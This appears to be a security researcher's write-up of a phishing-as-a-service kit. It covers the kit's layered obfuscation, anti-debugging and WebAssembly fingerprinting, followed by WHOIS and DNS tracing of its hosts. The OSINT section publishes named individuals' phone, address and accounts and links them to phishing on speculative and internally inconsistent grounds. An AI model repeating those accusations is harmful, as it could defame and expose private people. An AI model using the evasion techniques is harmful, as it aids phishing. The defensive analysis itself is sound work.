curl -v --max-redirs 0 “https://logonacc.ssologon.clctz.org/a3f9c4b1d08e5f72c6ab93d04ef1280b/?OLMDT=CDfkI&fomo=xxx”

Where the first page showed only light obfuscation, this stage loads a huge, highly engineered script that runs advanced fingerprinting, invasive browser checks, and layered obfuscation and evasion, making it difficult to understand at a glance.

The page code is more than 7,700 lines of HTML and JavaScript, with significant portions hidden inside WebAssembly compiled from Rust.

The structure, scale, and concealment techniques all indicate that this code is designed to gather extensive information about the visitor while making manual analysis as difficult as possible.

Defense Mechanisms

The code implements a multilayered defensive architecture. Each layer must be bypassed sequentially, like peeling an onion, before an analyst can reach the true fingerprinting logic.

When a victim clicks the phishing link, the JavaScript and hidden WebAssembly module begin collecting an alarmingly large and detailed dataset.

This dataset includes over seventy browser, device, and permission properties, along with WebGL/GPU identifiers and bot detection signals.

The attacker’s server evaluates the environment and decides whether the visitor is a genuine target or an analyst.

Layer 1: The Scrambled Dictionary (String Obfuscation)

Before any logic can be observed, all human‑readable JavaScript identifiers are stripped from the code. Examples include:

• plugins

• deviceMemory

• hardwareConcurrency

• screenX, screenY

• userAgent

• permissions

• createElement

• navigator

• all fields involved in fingerprinting

Instead, the script uses scrambled calls like:

a0P(597, 233)

These strings are packed into an encrypted, shuffled dictionary that is:

• XOR‑encrypted with a constant key

• Randomly reshuffled on each run

• Accessed only through numeric indices

• Opaque to direct reading or searching

• Unrecoverable through simple string inspection

To defeat this, we have to isolate the self‑executing decode function and run it independently, which allowed us to recover:

• The full decrypted dictionary

• All original JavaScript identifiers

• All WASM glue symbols

With the dictionary restored, we use a script to replace every lookup (a0P(...)) with its real string, returning the source to human‑readable form and exposing the fingerprinting logic.

Layer 2: The Tripwires (Anti-Debugging Traps)

With the code readable again, the second layer revealed a set of anti‑analysis traps engineered to break devtools or force an error that, when detected, redirected the user to the BBC (BBC.com) homepage.

Key Tripwires

• A recursive devtools‑detection routine that triggers an infinite self‑call and freezes both the tab and debugger

• Script integrity checks to detect breakpoints or patched code

• Timing‑based anti‑debug traps

• Event‑loop abuse used to stall or desynchronize debugging

• Redirects to the BBC homepage if tampering is detected

These mechanisms block any attempt to step into the fingerprinting logic.

Once the dictionary was restored in the previous step, we can see the names of every anti‑debug routine.

We removed the recursive infinite‑loop trap, the source‑integrity checks, the timing‑based devtools traps, and the redirect logic.

This stabilized execution, allowing controlled, step‑by‑step debugging of the WASM interface and the fingerprinting logic.

Layer 3: The Black Box (WebAssembly Obfuscation)

The deepest layer was a Rust‑compiled WebAssembly module, concealed within a dense collection of Base64 payloads.

These were split across:

• 173 separate Base64 strings

• 131,884 characters combined

• 98,911-byte decoded WASM (~96.6 KB)

• 1,001 unique decoded strings extracted

Rust Project Structure

We reconstructed the Rust project layout by analyzing the decoded WASM strings and the calls to URLs and functions, which revealed how the code was organized.

crates/
├── bg/src/
│   ├── core/
│   │   ├── screen.rs
│   │   ├── navigator.rs
│   │   ├── automation.rs
│   │   └── gpu.rs
│   ├── models.rs
│   └── utils.rs
└── ciphers/src/
    └── ciphers.rs

Compiler Metadata

The WebAssembly module was compiled with a specific version of the Rust compiler, identified by the commit f8297e351a40c1439a467bbbb6879088047f50b3. This shows exactly which Rust build was used to produce the WASM binary.

The module also relied on a few Rust libraries (called crates) to interact with the browser and handle asynchronous tasks:

• wasm-bindgen 0.2.100: allows Rust code to communicate with JavaScript and manipulate the DOM

• wasm-bindgen-futures 0.4.50: provides support for asynchronous operations in the browser, such as JavaScript promises

• web-sys 0.3.77: gives Rust access to standard web APIs, including window, navigator, and document

• futures-util 0.3.31: a helper library for working with asynchronous tasks in Rust

This metadata shows how the WASM module was built and what runtime features it could access in the browser.

What the WASM Does

The WebAssembly module is the core fingerprinting engine. Its internal code is not visible, but its interface shows what data it collects from the browser and device.

Fingerprint Dataset

Screen Data:

• width, height

• availWidth, availHeight

• colorDepth, pixelDepth

• orientation

• screenX, screenY

Window Data

• innerWidth, innerHeight

• outerWidth, outerHeight

• pageXOffset, pageYOffset

• devicePixelRatio

Navigator Data

• userAgent

• platform

• language

• languages

• plugins

• mimeTypes

• deviceMemory

• hardwareConcurrency

• maxTouchPoints

• permissions

WebGL GPU Data

• vendor

• renderer

• WebGL version

Automation / VM Detection

• TouchEvent presence

• ontouchstart

• automation frameworks

• VM artifacts

Permissions Checked

• accelerometer

• ambient-light-sensor

• background-fetch

• background-sync

• bluetooth

• camera

• clipboard

• device-info

• display-capture

• gamepad

• geolocation

• gyroscope

• magnetometer

• microphone

• midi

• nfc

• notifications

• persistent-storage

• push

• screen-wake-lock

• speaker

• speaker-selection

Screen Orientation Values

• portrait-primary

• portrait-secondary

• landscape-primary

• landscape-secondary

Exfiltration Logic

After all fingerprint fields are collected and combined into a unique visitor ID, the WASM module prepares the data for exfiltration.

It creates a hidden HTML form through its DOM bindings, sets the form’s method to POST, and silently submits it, sending the full fingerprint to the attacker’s server without any visible activity.

The server then determines the outcome:

• If the device appears to belong to a real user, the victim is forwarded to the phishing login page.

• If analysis tools, automation, or other anomalies are detected, the visitor is redirected to the BBC homepage to avoid raising suspicion.

Further testing could have included supplying a real victim ID and emulating a clean environment to reach the phishing page. However, doing so would have caused the attacker’s system to record that victim as an active clicker, potentially escalating the attack against them. To avoid that, testing stops here.

Attribution Assessment

Now that we’ve uncovered the technical aspects of this campaign, we need to look at who is running it and why.

The change in the complexity of the code and the difference in domain registration details across the three pages suggest a classic division of labor consistent with the Phishing-as-a-Service (PaaS) business model:

• Affiliate (The Customer): The initial, less complex pages were likely managed by the Affiliate. Their job is to create the initial lure, purchase the first domain, and send the spam/phishing emails to drive traffic. They pay the platform a fee and handle the initial traffic generation.

• PaaS Provider (The Infrastructure): The third page, containing the highly protected WebAssembly (WASM) code and sophisticated validation logic, leads directly to the PaaS Provider’s infrastructure. The provider handles the technical heavy lifting: hosting the secure, anti-analysis gatekeeper, running the victim validation checks, and delivering the final phishing payload. They protect their platform fiercely, which is why the code was so heavily obfuscated.

This means we are not just looking for the scammer; we are now investigating the highly technical organization that built the defense and validation system.

Tracking the Infrastructure Behind the Campaign

In this phase, we use tools such as WHOIS and DIG to investigate domain registration and hosting records. The goal is to identify evidence that could reveal who is behind the attack.

We focus on operational security mistakes, looking for details such as email addresses, registration names, or physical locations that could link multiple components of the criminal network together.

Domain #1 (PaaS Affiliate)

eduhealthconnect.com
ssologon.eduhealthconnect.com

Whois - Primary Domain

Our first step is to execute a WHOIS search on the main domain to expose the identity of the person or entity responsible for the registration.

whois -h whois.crazydomains.com eduhealthconnect.com

Domain Name: EDUHEALTHCONNECT.COM
Registry Domain ID: 2670481451_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.syrahost.com
Registrar URL: http://www.crazydomains.com
Updated Date: 2025-03-30T00:00:00Z
Creation Date: 2022-01-24T00:00:00Z
Registrar Registration Expiration Date: 2026-01-24T00:00:00Z
Registrar: Dreamscape Networks International Pte Ltd
Registrar IANA ID: 1291
Registrar Abuse Contact Email: abuse@dreamscapenetworks.com
Registrar Abuse Contact Phone: +65.69147880
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: R-028391584-SN
Registrant Name: Santosh Kumar
Registrant Organization: 
Registrant Street: LOWERWARDMAN COMPOUND LALPUE
Registrant City: RANCHI
Registrant State/Province: JHARKHAND
Registrant Postal Code: 834001
Registrant Country: IN
Registrant Phone: +91.9973380119
Registrant Phone Ext: 
Registrant Email: CEEONLINESMS@GMAIL.COM
Name Server: NS1.HOSTING4WEBS.COM
Name Server: NS2.HOSTING4WEBS.COM
DNSSEC: unsigned

The WHOIS data confirms the domain is registered to an individual named Santosh Kumar in Jharkhand, India, and explicitly links him to an email address containing “CEEONLINESMS,” which we’ll look at in more detail in a later section.

All DNS Records

Next, we queried the Domain Name System (DNS) records to identify the main servers hosting the domain and the external services authorized to send email on its behalf.

for type in A NS MX TXT SOA; do dig eduhealthconnect.com $type +short; done
162.19.61.190
ns2.hosting4webs.com.
ns1.hosting4webs.com.
0 eduhealthconnect.com.
“v=spf1 ip4:162.19.61.190 ip4:51.210.113.204 +a +mx +ip4:173.208.234.202 ~all”
ns1.hosting4webs.com. a.s.l. 2025120400 3600 7200 1209600 86400

The DNS records show the main server is hosted by OVH SAS in France, while the SPF records authorize two additional, high-volume mail relays: one also on OVH and another on WholeSale Internet in the US.

Whois - Primary Domain Email Servers

To understand the nature of the network infrastructure, we must perform WHOIS checks on the IP addresses identified in the DNS records.

whois -h whois.ripe.net 51.210.113.204
inetnum:        51.210.113.0 - 51.210.113.255
netname:        rbx8-sdagg1a-n93-2-2
country:        FR
org:            ORG-OS3-RIPE
geoloc:         50.693434 3.199826
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2020-05-25T12:32:57Z
last-modified:  2020-05-25T12:32:57Z
source:         RIPE

organisation:   ORG-OS3-RIPE
org-name:       OVH SAS
country:        FR
org-type:       LIR
address:        2 rue Kellermann
address:        59100
address:        Roubaix
address:        FRANCE
phone:          +33972101007
admin-c:        OTC2-RIPE
admin-c:        OK217-RIPE
admin-c:        TLB55-RIPE
abuse-c:        AR15333-RIPE
mnt-ref:        OVH-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         OVH-MNT
created:        2004-04-17T11:23:17Z
last-modified:  2025-09-17T09:23:15Z
source:         RIPE # Filtered

role:           OVH Technical Contact
address:        OVH SAS
address:        2 rue Kellermann
address:        59100 Roubaix
address:        France
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
tech-c:         SL10162-RIPE
nic-hdl:        OTC2-RIPE
abuse-mailbox:  abuse@ovh.net
mnt-by:         OVH-MNT
created:        2004-01-28T17:42:29Z
last-modified:  2014-09-05T10:47:15Z
source:         RIPE # Filtered

% Information related to ‘51.210.0.0/16AS16276’

route:          51.210.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2020-04-09T10:18:04Z
last-modified:  2020-04-09T10:18:04Z
source:         RIPE

whois -h whois.arin.net 173.208.234.202
NetRange:       173.208.128.0 - 173.208.255.255
CIDR:           173.208.128.0/17
NetName:        WII-NET-173-208
NetHandle:      NET-173-208-128-0-1
Parent:         NET173 (NET-173-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   WholeSale Internet, Inc. (WHOLE-125)
RegDate:        2009-12-17
Updated:        2018-04-10
Comment:        http://www.wholesaleinternet.net
Ref:            https://rdap.arin.net/registry/ip/173.208.128.0


OrgName:        WholeSale Internet, Inc.
OrgId:          WHOLE-125
Address:        201 East 16th Ave
City:           North Kansas City
StateProv:      MO
PostalCode:     64116
Country:        US
RegDate:        2003-09-24
Updated:        2023-10-27
Comment:        http://www.wholesaleinternet.net
Ref:            https://rdap.arin.net/registry/entity/WHOLE-125


OrgAbuseHandle: NETWO1111-ARIN
OrgAbuseName:   Network Security
OrgAbusePhone:  +1-816-256-3031 
OrgAbuseEmail:  abuse@nocix.net
OrgAbuseRef:    https://rdap.arin.net/registry/entity/NETWO1111-ARIN

OrgTechHandle: AWE13-ARIN
OrgTechName:   Wendel, Aaron 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  aaron@nocix.net
OrgTechRef:    https://rdap.arin.net/registry/entity/AWE13-ARIN

OrgTechHandle: KRH22-ARIN
OrgTechName:   HODLE, Kevin Robert
OrgTechPhone:  +1-816-506-2605 
OrgTechEmail:  kevin@wholesaleinternet.net
OrgTechRef:    https://rdap.arin.net/registry/entity/KRH22-ARIN

OrgTechHandle: KAISE102-ARIN
OrgTechName:   kaiser, rebecca 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  rebecca@nocix.net
OrgTechRef:    https://rdap.arin.net/registry/entity/KAISE102-ARIN

OrgTechHandle: REGIO-ARIN
OrgTechName:   Region, Bob 
OrgTechPhone:  +1-816-256-3031 
OrgTechEmail:  bob@wholesaleinternet.net
OrgTechRef:    https://rdap.arin.net/registry/entity/REGIO-ARIN

RNOCHandle: NETWO1112-ARIN
RNOCName:   Network Operations
RNOCPhone:  +1-816-256-3031 
RNOCEmail:  admin@wholesaleinternet.net
RNOCRef:    https://rdap.arin.net/registry/entity/NETWO1112-ARIN

RTechHandle: NETWO1112-ARIN
RTechName:   Network Operations
RTechPhone:  +1-816-256-3031 
RTechEmail:  admin@wholesaleinternet.net
RTechRef:    https://rdap.arin.net/registry/entity/NETWO1112-ARIN

RAbuseHandle: NETWO1111-ARIN
RAbuseName:   Network Security
RAbusePhone:  +1-816-256-3031 
RAbuseEmail:  abuse@nocix.net
RAbuseRef:    https://rdap.arin.net/registry/entity/NETWO1111-ARIN

Whois - Primary Server URL

whois -h whois.ripe.net 162.19.61.190

inetnum:        162.19.61.0 - 162.19.61.255
netname:        SD-RBX8-SDAGG-37A-B-1-2
country:        FR
org:            ORG-OS3-RIPE
geoloc:         50.693434 3.199826
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         LEGACY
mnt-by:         OVH-MNT
created:        2022-05-03T12:21:49Z
last-modified:  2022-05-03T12:21:49Z
source:         RIPE

organisation:   ORG-OS3-RIPE
org-name:       OVH SAS
country:        FR
org-type:       LIR
address:        2 rue Kellermann
address:        59100
address:        Roubaix
address:        FRANCE
phone:          +33972101007
admin-c:        OTC2-RIPE
admin-c:        OK217-RIPE
admin-c:        TLB55-RIPE
abuse-c:        AR15333-RIPE
mnt-ref:        OVH-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         OVH-MNT
created:        2004-04-17T11:23:17Z
last-modified:  2025-09-17T09:23:15Z
source:         RIPE # Filtered

role:           OVH Technical Contact
address:        OVH SAS
address:        2 rue Kellermann
address:        59100 Roubaix
address:        France
admin-c:        OK217-RIPE
tech-c:         GM84-RIPE
tech-c:         SL10162-RIPE
nic-hdl:        OTC2-RIPE
abuse-mailbox:  abuse@ovh.net
mnt-by:         OVH-MNT
created:        2004-01-28T17:42:29Z
last-modified:  2014-09-05T10:47:15Z
source:         RIPE # Filtered

% Information related to ‘162.19.0.0/17AS16276’

route:          162.19.0.0/17
origin:         AS16276
mnt-by:         OVH-MNT
created:        2022-01-20T09:36:09Z
last-modified:  2022-01-20T09:36:09Z
source:         RIPE

The IP checks confirms the main server (162.19.61.190) is allocated to OVH SAS in France, and the two authorized email relay IPs are allocated to OVH SAS and WholeSale Internet, Inc. in North Kansas City, Missouri, showing the operator has deliberately set up a network of geographically diverse, high-volume hosting providers to facilitate their activity.

Dig - Phishing Subdomain

We now isolate the specific subdomain that hosted the malicious content to determine if the attacker segregated their infrastructure for the core attack component.

dig ssologon.eduhealthconnect.com A +short
172.245.112.206

The ssologon subdomain reveals a different IP address (172.245.112.206), confirming that the malicious page is hosted on a separate machine from the primary domain, a tactic used to protect the root domain from takedown.

Whois - Phishing Subdomain IP

Our final step for this domain is to run a WHOIS check on the new IP address to identify the hosting provider for the malicious component.

whois -h whois.arin.net 172.245.112.206
NetRange:       172.245.0.0 - 172.245.255.255
CIDR:           172.245.0.0/16
NetName:        CC-14
NetHandle:      NET-172-245-0-0-1
Parent:         NET172 (NET-172-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   HostPapa (HOSTP-7)
RegDate:        2013-04-22
Updated:        2024-02-02
Comment:        Geofeed https://geofeeds.oniaas.io/geofeeds.csv
Ref:            https://rdap.arin.net/registry/ip/172.245.0.0



OrgName:        HostPapa
OrgId:          HOSTP-7
Address:        325 Delaware Avenue
Address:        Suite 300
City:           Buffalo
StateProv:      NY
PostalCode:     14202
Country:        US
RegDate:        2016-06-06
Updated:        2025-10-05
Ref:            https://rdap.arin.net/registry/entity/HOSTP-7


OrgAbuseHandle: NETAB23-ARIN
OrgAbuseName:   NETABUSE
OrgAbusePhone:  +1-905-315-3455 
OrgAbuseEmail:  net-abuse-global@hostpapa.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/NETAB23-ARIN

OrgTechHandle: NETTE9-ARIN
OrgTechName:   NETTECH
OrgTechPhone:  +1-905-315-3455 
OrgTechEmail:  net-tech-global@hostpapa.com
OrgTechRef:    https://rdap.arin.net/registry/entity/NETTE9-ARIN

RAbuseHandle: NETAB27-ARIN
RAbuseName:   NETABUSE-COLOCROSSING
RAbusePhone:  +1-800-518-9716 
RAbuseEmail:  abuse@colocrossing.com
RAbuseRef:    https://rdap.arin.net/registry/entity/NETAB27-ARIN

RTechHandle: NETTE11-ARIN
RTechName:   NETTECH-COLOCROSSING
RTechPhone:  +1-800-518-9716 
RTechEmail:  support@colocrossing.com
RTechRef:    https://rdap.arin.net/registry/entity/NETTE11-ARIN

The IP check shows the phishing subdomain is hosted by HostPapa via the Colocrossing backbone in Buffalo, New York, confirming the Affiliate utilizes a third-party hosting company known for high-volume, abuse-tolerant services to host the critical attack page.

OSINT Report: CeeOnlineSMS

The WHOIS report for the first phishing page, which was received in the phishing email containts the informatin of the following individual:

• Name: Abhay Singh

• Identified via: Instagram and WordPress blog posts (signed as abhayceeonline).

• Confirmed Association: The Instagram profile is @ceeonlinesms.

1. Factual Identity Convergence

The registrant email address, CEEONLINESMS@GMAIL.COM, is directly tied to the individual Abhay Singh through multiple sources:

• Shared Naming Convention: The individual’s name, Abhay Singh, is featured in the Instagram handle (@ceeonlinesms) and the WordPress blog posts (Posted by abhayceeonline).

• Business Registration: The same ‘CEEONLINE’ branding is used for the Facebook page, CEEONLINE ENTERPRISES, which provides a physical address, phone number, and linked domains, forming a cohesive business profile.

• Cross-Platform Consistency: The primary username/handle, ceeonline, is consistently used across Bitcointalk, Discord, and Telegram, reinforcing the identity of the person behind the enterprise.

2. High-Risk Service Offerings

The core services advertised by CEEONLINE ENTERPRISES facilitate key components required for large-scale malicious campaigns, including phishing:

• Bulk SMS Messaging: The enterprise’s primary business, as documented on the WordPress blog, is the sale of high-volume Promotional and Transactional Bulk SMS Packages. This service is essential for any SMS phishing (smishing) operation targeting a large number of victims.

• Associated Domains: The linked domains, ceeonlinehost.com and ceeonlinesms.in, suggest the offering of both SMS services and web hosting services. Web hosting can be utilized to host the deceptive landing pages or phishing kit files needed to harvest victim credentials.

• Phishing Prerequisites: Bulk messaging and web hosting are the two fundamental infrastructural requirements for executing a phishing scheme, establishing a strong potential for involvement.

3. Interest in Online Schemes

Activity on the Bitcointalk forum, where the individual uses the username ceeonline, shows engagement with a cryptocurrency bounty/lottery scheme.

This demonstrates an interest in online money-making or speculative digital asset ventures, aligning with the motive for engaging in or facilitating financially-motivated schemes, such as phishing.

Cryptocurrency, while having legitimate uses, is commonly used to purchase illicit services online (such as Phishing-as-a-Service access) and serves as a de facto currency in the underground hacking and cybercrime economy.

This fact is not conclusive on its own, but when coupled with the other findings like the sale of high-risk services like Bulk SMS, it becomes a strong indicator of the actor’s comfort and involvement in the necessary financial ecosystem for cybercrime.

In summary, the registered contact for EDUHEALTHCONNECT.COM is strongly associated with an online identity, Abhay Singh / CEEONLINE, who operates a business that sells the key infrastructure (Bulk SMS) for phishing campaigns and has displayed an interest in online financial schemes (cryptocurrency bounty).

This individual and the enterprise are a strong link to the underlying activity related to the domain registration.

Business Entity and Contact Information

The services are operated under the name CEEONLINE ENTERPRISES.

• Physical Address: Vardhaman Tower, Lalpur, Ranchi, India, Jharkhand

• Phone Number: +91 99733 80119

• Associated Domains:

  • ceeonlinehost.com

  • ceeonlinesms.in

Digital Footprint and Linked Accounts

The entity and/or the individual is active across multiple online platforms, often using the handle ceeonline or ceeonlinesms.

# List of Associated Accounts:

Platform: Bitcointalk
Username / Handle: ceeonline
Profile Link: https://bitcointalk.org/index.php?action=profile;u=1774646

Platform: Twitter
Username / Handle: @airdrop1670
Profile Link: https://twitter.com/airdrop1670

Platform: Discord
Username / Handle: ceeonline

Platform: Telegram
Username / Handle: @ceeonlinesms

Platform: Facebook
Page Name: CEEONLINE ENTERPRISES
Profile Link: https://www.facebook.com/p/CEEONLINE-ENTERPRISES-100070322778717/

Platform: Instagram
Username / Handle: @ceeonlinesms

Platform: Wordpress Blog (Posted by Abhay Singh)
Author Handle: abhayceeonline
Blog Link: https://ceeonlinesms.wordpress.com/2013/10/02/cheapest-bulk-sms-service-provider-all-over-india/

The open-source intelligence (OSINT) gathered establishes a strong, multi-layered link between the individual registrant of the domain and a persistent online enterprise that offers services directly applicable to phishing campaigns.

Key Findings (Affiliate):

The forensic evidence establishes a strong association between the initial phishing page and a known online identity, Santosh Kumar / CEEONLINE.

This identity is linked to a business that provides the Bulk SMS infrastructure required for mass-scale phishing. This actor operates using a geographically diverse, high-volume hosting infrastructure (OVH and WholeSale Internet) that is highly consistent with environments optimized for spam and malicious traffic.

This entity is considered the Affiliate responsible for generating traffic and providing the initial lure.

Domain #2 (Phishing as a Service)

We now turn our attention to the second malicious domain, clctz.org, which hosts the core Phishing-as-a-Service (PaaS) kit. This domain exhibits all the hallmarks of a professional, anonymity-focused cybercrime operation.

clctz.org
ssologon.clctz.org
logonacc.ssologon.clctz.org

1. WHOIS Search: Primary Domain

Our initial WHOIS search on the core platform domain is the first step in establishing the operational security posture of the provider.

whois -h whois.namesilo.com clctz.org 

Domain Name: clctz.org
Registrar: NameSilo, LLC
Registrar URL: https://www.namesilo.com/
Updated Date: 2025-09-29T07:00:00Z
Creation Date: 2025-04-04T07:00:00Z
Registrar Registration Expiration Date: 2026-04-04T07:00:00Z
Domain Status: client transfer prohibited
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Registrant Organization: See PrivacyGuardian.org
Registrant Email: pwp-156c9d510b826f6e44c12dfc9082d544@privacyguardian.org
Name Server: CS11.HPCNOC.COM
Name Server: CS12.HPCNOC.COM
DNSSEC: unsigned

The WHOIS data confirms the domain is registered with NameSilo and uses the PrivacyGuardian.org service to fully conceal the operator’s identity, establishing the high priority this actor places on anonymity and evasion from the start.

2. DNS Records: All Records for Domain

Next, we execute a query for all DNS records to identify the main host, the control points, and any external email services authorized by the provider.

for type in A NS MX TXT SOA; do dig clctz.org $type +short; done

178.162.234.23
cs12.hpcnoc.com.
cs11.hpcnoc.com.

0 clctz.org.

“v=spf1 ip4:178.162.234.23 include:relay.mailbaby.net +a +mx +ip4:213.136.76.15 ~all”

cs11.hpcnoc.com. root.rcnoc.com. 2025120500 3600 1800 1209600 86400

The DNS records show the primary server address is 178.162.234.23, and the SPF record authorizes an external service called Mailbaby.net (specifically via IP 213.136.76.15), confirming the operator relies on a dedicated third-party bulk email relay to ensure high deliverability.

3. Reverse DNS Search: Authorized Mail Server IP

To identify the provider responsible for the external bulk mail relay, we perform a reverse DNS lookup on the newly discovered IP address (213.136.76.15) authorized in the SPF record.

dig -x 213.136.76.15

; <<>> DiG 9.10.6 <<>> -x 213.136.76.15
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17361
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;15.76.136.213.in-addr.arpa.	IN	PTR

;; ANSWER SECTION:
15.76.136.213.in-addr.arpa. 86024 IN	PTR	m30015.contaboserver.net.

;; Query time: 95 msec
;; SERVER: 10.2.0.1#53(10.2.0.1)
;; WHEN: Sat Dec 06 19:25:23 PST 2025
;; MSG SIZE  rcvd: 93

The reverse lookup reveals the mail server’s domain is m30015.contaboserver.net, strongly suggesting the server is hosted by Contabo GmbH, a German web hosting and cloud provider.

4. WHOIS Search: Primary Server IP

We now execute a WHOIS check on the primary host IP (178.162.234.23) to identify the network owner and the specific abuse contact required to suspend the root domain’s hosted content.

whois -h whois.ripe.net 178.162.234.23
inetnum:        178.162.234.0 - 178.162.235.255
netname:        Leaseweb
descr:          Leaseweb Deutschland GmbH
remarks:        Please send all abuse notifications to the following email address: abuse@de.leaseweb.com. To ensure proper processing of your abuse notification, please visit the website www.leaseweb.com/abuse for notification requirements. All police and other government agency requests must be sent to subpoenas@de.leaseweb.com.
country:        DE
admin-c:        LSWG-RIPE
tech-c:         LSWG-RIPE
status:         ASSIGNED PA
mnt-by:         LEASEWEB-DE-MNT
mnt-lower:      LEASEWEB-DE-MNT
mnt-routes:     LEASEWEB-DE-MNT
created:        2012-09-04T10:27:36Z
last-modified:  2015-10-01T15:04:44Z
source:         RIPE

person:         RIPE Mann
address:        Kleyerstrasse 75-87
address:        60326 Frankfurt am Main
address:        Germany
phone:          +49 69 2475 2860
fax-no:         +49 69 2475 2861
nic-hdl:        LSWG-RIPE
mnt-by:         LEASEWEB-DE-MNT
created:        2012-03-23T15:55:41Z
last-modified:  2025-07-17T12:58:23Z
source:         RIPE # Filtered

% Information related to ‘178.162.192.0/18AS28753’

route:          178.162.192.0/18
origin:         AS28753
mnt-by:         LEASEWEB-DE-MNT
created:        2016-11-14T07:54:33Z
last-modified:  2016-11-14T07:54:33Z
source:         RIPE

The IP check confirms the primary website is hosted by Leaseweb Deutschland GmbH in Frankfurt, Germany, which provides the official abuse contact necessary for reporting the root domain’s activity.

5. Dig Search: Phishing Subdomains

Our next step is to examine the specific subdomains that serve the malicious code to see if they are segregated from the primary website.

dig ssologon.clctz.org A +short
dig logonacc.ssologon.clctz.org A +short
144.172.108.175
144.172.108.175

The DNS queries show that both malicious subdomains point to a single, dedicated IP address (144.172.108.175), confirming the highly specialized core phishing kit is isolated from the main Leaseweb server.

6. Reverse DNS Search: Phishing Subdomain IP

To identify the hosting company for this specialized phishing kit, we run a reverse DNS lookup on the newly discovered subdomain IP (144.172.108.175).

dig -x 144.172.108.175

; <<>> DiG 9.10.6 <<>> -x 144.172.108.175
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22003
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;175.108.172.144.in-addr.arpa.	IN	PTR

;; ANSWER SECTION:
175.108.172.144.in-addr.arpa. 120 IN	PTR	175.108.172.144.static.cloudzy.com.

The reverse lookup reveals the domain is 175.108.172.144.static.cloudzy.com, indicating the PaaS kit is hosted on a service often linked to “bulletproof” hosting environments.

7. WHOIS Search: Phishing Subdomain IP

Finally, we execute a WHOIS check on the IP to identify the network owner responsible for the specialized hosting of the core phishing kit.

whois -h whois.arin.net 144.172.108.175

NetRange:       144.172.64.0 - 144.172.127.255
CIDR:           144.172.64.0/18
NetName:        PONYNET-12
NetHandle:      NET-144-172-64-0-1
Parent:         NET144 (NET-144-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   FranTech Solutions (SYNDI-5)
RegDate:        2014-05-07
Updated:        2014-05-07
Ref:            https://rdap.arin.net/registry/ip/144.172.64.0


OrgName:        FranTech Solutions
OrgId:          SYNDI-5
Address:        1621 Central Ave
City:           Cheyenne
StateProv:      WY
PostalCode:     82001
Country:        US
RegDate:        2010-07-21
Updated:        2024-11-25
Ref:            https://rdap.arin.net/registry/entity/SYNDI-5


OrgAbuseHandle: FDI19-ARIN
OrgAbuseName:   Dias, Francisco 
OrgAbusePhone:  +1-702-728-8933 
OrgAbuseEmail:  admin@frantech.ca
OrgAbuseRef:    https://rdap.arin.net/registry/entity/FDI19-ARIN

OrgTechHandle: FDI19-ARIN
OrgTechName:   Dias, Francisco 
OrgTechPhone:  +1-702-728-8933 
OrgTechEmail:  admin@frantech.ca
OrgTechRef:    https://rdap.arin.net/registry/entity/FDI19-ARIN

The IP check shows the infrastructure is ultimately allocated to FranTech Solutions in Cheyenne, Wyoming, confirming the PaaS Provider relies on an abuse-tolerant, US-based hosting provider for their most critical asset.

Key Findings (PaaS Provider):

The forensic evidence indicates that the PaaS Provider operates with a singular focus on anonymity and resilience. Their registration practices, utilizing privacy services (PrivacyGuardian.org) and anonymity-friendly registrars (NameSilo), are highly suggestive of a professional operational security posture.

Their infrastructure appears highly specialized, relying on global hosting (Leaseweb, Contabo) for redundancy. They host their core, sophisticated phishing kit on networks (FranTech Solutions/Cloudzy) which are known for being abuse-tolerant.

This separation of function and infrastructure strongly suggests the existence of the PaaS Provider who sells access to their technical platform.

Evidence for Phishing-as-a-Service

The extensive technical differences in the DNS, WHOIS, and infrastructure confirm that the two domains, eduhealthconnect.com and clctz.org, are not operated by the same people.

The evidence points to a classic Phishing-as-a-Service (PaaS) relationship, where one entity is the Affiliate (customer) and the other is the PaaS Provider (operator). Here is a full breakdown of the evidence supporting the Affiliate/PaaS model.

1. Identity and Registration Discrepancies

The WHOIS records for the two domains reveal completely contradictory registration strategies, serving as the strongest initial proof of separate ownership:

• Affiliate (eduhealthconnect.com): This domain is explicitly registered to an identifiable individual, Santosh Kumar/Abhay Singh, and the entity CEEONLINE ENTERPRISES. The contact information is directly linked to a business specializing in Bulk communications (SMS and email), which is the service used to launch high-volume phishing attacks. This actor provides the traffic and lure.

• PaaS Provider (clctz.org): This domain is fully privacy protected, using a proxy service (PrivacyGuardian.org) and the anonymity-focused registrar NameSilo. This focus on concealment is a trademark of professional malicious service providers who must shield their core product from exposure and takedown.

2. Distinct Infrastructure Footprints

All underlying network components are different for the two domains. If the same group operated both, they would almost certainly reuse some of their infrastructure.

• Hosting Providers are Different: The primary host for the Affiliate domain is OVH SAS (France), while the PaaS Provider domain uses Leaseweb (Germany). Crucially, the final phishing page for the Affiliate is hosted by HostPapa (US), while the PaaS Provider’s core kit is hosted on FranTech Solutions/Cloudzy (US). These are separate networks, chosen independently.

